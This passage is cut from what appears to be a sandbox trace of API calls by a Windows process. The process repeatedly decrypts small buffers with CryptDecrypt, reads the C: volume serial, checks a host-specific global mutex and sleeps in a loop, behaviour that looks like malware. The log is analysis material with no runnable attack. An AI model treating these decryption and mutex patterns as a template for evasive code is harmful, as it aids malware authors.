pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0064.721] CryptDestroyKey (hKey=0x4d8820) returned 1 [0064.721] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0064.721] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0064.722] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0064.722] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d8820) returned 1 [0064.722] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0064.722] CryptDecrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0064.722] CryptDestroyKey (hKey=0x4d8820) returned 1 [0064.722] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0064.722] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0064.722] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0064.722] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0064.722] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0064.722] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0064.722] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0064.722] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d8820) returned 1 [0064.722] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0064.722] CryptDecrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0064.722] CryptDestroyKey (hKey=0x4d8820) returned 1 [0064.722] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0064.722] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x1ac [0064.723] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x0) returned 0x102 [0064.723] CloseHandle (hObject=0x1ac) returned 1 [0064.723] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0064.723] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0064.723] Sleep (dwMilliseconds=0x3e8) [0064.900] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0064.900] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d86a0) returned 1 [0064.900] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0064.900] CryptDecrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0064.900] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0064.900] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0064.900] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0064.900] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0064.900] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d86a0) returned 1 [0064.900] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0064.900] CryptDecrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0064.900] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0064.900] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0064.900] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0064.900] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0064.900] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0064.900] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0064.900] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0064.900] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0064.900] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d86a0) returned 1 [0064.900] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0064.900] CryptDecrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0064.901] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0064.901] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0064.901] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x180 [0064.901] WaitForSingleObject (hHandle=0x180, dwMilliseconds=0x0) returned 0x102 [0064.901] CloseHandle (hObject=0x180) returned 1 [0064.901] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0064.901] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0064.901] Sleep (dwMilliseconds=0x3e8) [0066.088] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0066.088] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d86a0) returned 1 [0066.090] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0066.090] CryptDecrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0066.090] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0066.090] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0066.090] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0066.096] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0066.096] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d86a0) returned 1 [0066.096] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0066.096] CryptDecrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0066.096] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0066.096] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0066.103] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.103] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0066.103] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0066.104] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.106] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0066.106] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0066.106] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d86a0) returned 1 [0066.107] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0066.107] CryptDecrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0066.107] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0066.107] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0066.108] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x184 [0066.108] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x0) returned 0x102 [0066.108] CloseHandle (hObject=0x184) returned 1 [0066.116] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0066.116] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0066.118] Sleep (dwMilliseconds=0x3e8) [0066.817] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0066.817] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d88a0) returned 1 [0066.817] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0066.817] CryptDecrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0066.817] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0066.817] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0066.817] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0066.817] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0066.817] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d88a0) returned 1 [0066.817] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0066.817] CryptDecrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0066.817] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0066.817] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0066.817] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.817] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0066.817] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0066.817] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.817] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0066.817] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0066.817] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d88a0) returned 1 [0066.817] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0066.817] CryptDecrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0066.818] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0066.818] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0066.818] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x194 [0066.818] WaitForSingleObject (hHandle=0x194, dwMilliseconds=0x0) returned 0x102 [0066.818] CloseHandle (hObject=0x194) returned 1 [0066.818] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0066.818] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0066.818] Sleep (dwMilliseconds=0x3e8) [0067.231] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0067.231] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d88a0) returned 1 [0067.231] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0067.231] CryptDecrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0067.231] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0067.231] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0067.231] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0067.231] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0067.231] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d88a0) returned 1 [0067.231] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0067.231] CryptDecrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0067.231] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0067.231] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0067.231] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0067.231] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0067.231] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0067.232] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0067.232] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0067.232] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0067.232] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d88a0) returned 1 [0067.232] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0067.232] CryptDecrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0067.232] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0067.232] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0067.232] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x180 [0067.232] WaitForSingleObject (hHandle=0x180, dwMilliseconds=0x0) returned 0x102 [0067.232] CloseHandle (hObject=0x180) returned 1 [0067.232] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0067.232] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0067.232] Sleep (dwMilliseconds=0x3e8) [0067.424] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0067.424] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d87a0) returned 1 [0067.424] CryptSetKeyParam (hKey=0x4d87a0, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0067.424] CryptDecrypt (in: hKey=0x4d87a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0067.424] CryptDestroyKey (hKey=0x4d87a0) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0067.424] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0067.424] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0067.424] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d87a0) returned 1 [0067.424] CryptSetKeyParam (hKey=0x4d87a0, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0067.424] CryptDecrypt (in: hKey=0x4d87a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0067.424] CryptDestroyKey (hKey=0x4d87a0) returned 1 [0067.424] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0067.424] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0067.424] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0067.424] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0067.424] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0067.425] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0067.425] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d87a0) returned 1 [0067.425] CryptSetKeyParam (hKey=0x4d87a0, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0067.425] CryptDecrypt (in: hKey=0x4d87a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0067.425] CryptDestroyKey (hKey=0x4d87a0) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0067.425] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x1a4 [0067.425] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x0) returned 0x102 [0067.425] CloseHandle (hObject=0x1a4) returned 1 [0067.425] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0067.425] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0067.425] Sleep (dwMilliseconds=0x3e8) [0067.756] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0067.757] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d8860) returned 1 [0067.757] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0067.757] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0067.757] CryptDestroyKey (hKey=0x4d8860) returned 1 [0067.757] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0067.757] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0067.757] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0067.757] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d8860) returned 1 [0067.757] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0067.757] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0067.757] CryptDestroyKey (hKey=0x4d8860) returned 1 [0067.757] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0067.757] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0067.757] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0067.757] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0067.757] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0067.757] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0067.757] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0067.757] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d8860) returned 1 [0067.757] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0067.757] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0067.757] CryptDestroyKey (hKey=0x4d8860) returned 1 [0067.757] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0067.757] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x1b0 [0067.758] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x0) returned 0x102 [0067.758] CloseHandle (hObject=0x1b0) returned 1 [0067.758] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0067.758] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0067.758] Sleep (dwMilliseconds=0x3e8) Thread: id = 3 os_tid = 0xecc [0035.955] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20a) returned 0xab14a0 [0035.955] GetVersion () returned 0x1db10106 